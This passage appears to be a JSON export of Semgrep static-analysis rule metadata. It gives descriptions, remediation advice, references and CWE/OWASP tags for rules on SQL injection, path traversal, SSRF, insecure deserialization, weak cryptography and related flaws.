setting `csrf_protection` property to `true`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled)\n - [https://symfony.com/doc/current/security/csrf.html](https://symfony.com/doc/current/security/csrf.html)\n","text":"CSRF protection is disabled for this configuration. This is a security risk. Make sure that it is safe or consider setting `csrf_protection` property to `true`."},"helpUri":"https://semgrep.dev/r/php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled","id":"php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled","name":"php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/javascript.express.security.injection.tainted-sql-string.tainted-sql-string","id":"javascript.express.security.injection.tainted-sql-string.tainted-sql-string","name":"javascript.express.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-sls.file-taint-sls)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-sls.file-taint-sls","id":"java.micronaut.path-traversal.file-taint-sls.file-taint-sls","name":"java.micronaut.path-traversal.file-taint-sls.file-taint-sls","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-taint-sls.file-taint-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"help":{"markdown":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request)\n - [https://www.npmjs.com/package/telnet](https://www.npmjs.com/package/telnet)\n - [https://www.npmjs.com/package/telnet-client](https://www.npmjs.com/package/telnet-client)\n","text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request","id":"problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request","name":"problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials","id":"terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials","name":"terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.file.fs-express.fs-express)\n - [https://nodejs.org/api/fs.html#promises-api](https://nodejs.org/api/fs.html#promises-api)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/javascript.express.file.fs-express.fs-express","id":"javascript.express.file.fs-express.fs-express","name":"javascript.express.file.fs-express.fs-express","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.file.fs-express.fs-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection)\n - [https://www.php.net/manual/en/function.mb-send-mail.php](https://www.php.net/manual/en/function.mb-send-mail.php)\n - [https://www.php.net/manual/en/function.mail.php](https://www.php.net/manual/en/function.mail.php)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - [https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html](https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection","id":"php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection","name":"php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic","id":"cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic","name":"cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$sceProvider is set to false. Disabling Strict Contextual escaping (SCE) in an AngularJS application could provide additional attack surface for XSS vulnerabilities."},"help":{"markdown":"$sceProvider is set to false. Disabling Strict Contextual escaping (SCE) in an AngularJS application could provide additional attack surface for XSS vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled)\n - [https://docs.angularjs.org/api/ng/service/$sce](https://docs.angularjs.org/api/ng/service/$sce)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"$sceProvider is set to false. Disabling Strict Contextual escaping (SCE) in an AngularJS application could provide additional attack surface for XSS vulnerabilities."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled","id":"javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled","name":"javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc","id":"csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc","name":"csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle","id":"python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle","name":"python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlopen()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"help":{"markdown":"Detected 'urllib.urlopen()' using 'http://'. This request will not be encrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen)\n","text":"Detected 'urllib.urlopen()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The environment variable `ACTIONS_ALLOW_UNSECURE_COMMANDS` grants this workflow permissions to use the `set-env` and `add-path` commands. There is a vulnerability in these commands that could result in environment variables being modified by an attacker. Depending on the use of the environment variable, this could enable an attacker to, at worst, modify the system path to run a different command than intended, resulting in arbitrary code execution. This could result in stolen code or secrets. Don't use `ACTIONS_ALLOW_UNSECURE_COMMANDS`. Instead, use Environment Files. See https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files for more information."},"help":{"markdown":"The environment variable `ACTIONS_ALLOW_UNSECURE_COMMANDS` grants this workflow permissions to use the `set-env` and `add-path` commands. There is a vulnerability in these commands that could result in environment variables being modified by an attacker. Depending on the use of the environment variable, this could enable an attacker to, at worst, modify the system path to run a different command than intended, resulting in arbitrary code execution. This could result in stolen code or secrets. Don't use `ACTIONS_ALLOW_UNSECURE_COMMANDS`. Instead, use Environment Files. See https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands)\n - [https://github.blog/changelog/2020-10-01-github-actions-deprecating-set-env-and-add-path-commands/](https://github.blog/changelog/2020-10-01-github-actions-deprecating-set-env-and-add-path-commands/)\n - [https://github.com/actions/toolkit/security/advisories/GHSA-mfwh-5m23-j46w](https://github.com/actions/toolkit/security/advisories/GHSA-mfwh-5m23-j46w)\n - [https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files](https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files)\n","text":"The environment variable `ACTIONS_ALLOW_UNSECURE_COMMANDS` grants this workflow permissions to use the `set-env` and `add-path` commands. There is a vulnerability in these commands that could result in environment variables being modified by an attacker. Depending on the use of the environment variable, this could enable an attacker to, at worst, modify the system path to run a different command than intended, resulting in arbitrary code execution. This could result in stolen code or secrets. Don't use `ACTIONS_ALLOW_UNSECURE_COMMANDS`. Instead, use Environment Files. See https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files for more information."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands","id":"yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands","name":"yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands","properties":{"precision":"very-high","tags":["CWE-749: Exposed Dangerous Method or Function","MEDIUM CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Appending `$SLICE` from multiple goroutines is not concurrency safe"},"help":{"markdown":"Appending `$SLICE` from multiple goroutines is not concurrency safe\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.racy-append-to-slice.racy-append-to-slice)\n - [https://go.dev/blog/maps#concurrency](https://go.dev/blog/maps#concurrency)\n","text":"Appending `$SLICE` from multiple goroutines is not concurrency safe"},"helpUri":"https://semgrep.dev/r/trailofbits.go.racy-append-to-slice.racy-append-to-slice","id":"trailofbits.go.racy-append-to-slice.racy-append-to-slice","name":"trailofbits.go.racy-append-to-slice.racy-append-to-slice","properties":{"precision":"very-high","tags":["CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.racy-append-to-slice.racy-append-to-slice"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"'The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/#cryptography.hazmat.primitives.asymmetric.padding.PKCS1v15](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/#cryptography.hazmat.primitives.asymmetric.padding.PKCS1v15)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://words.filippo.io/dispatches/dsa/](https://words.filippo.io/dispatches/dsa/)\n","text":"'The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature","id":"python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature","name":"python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 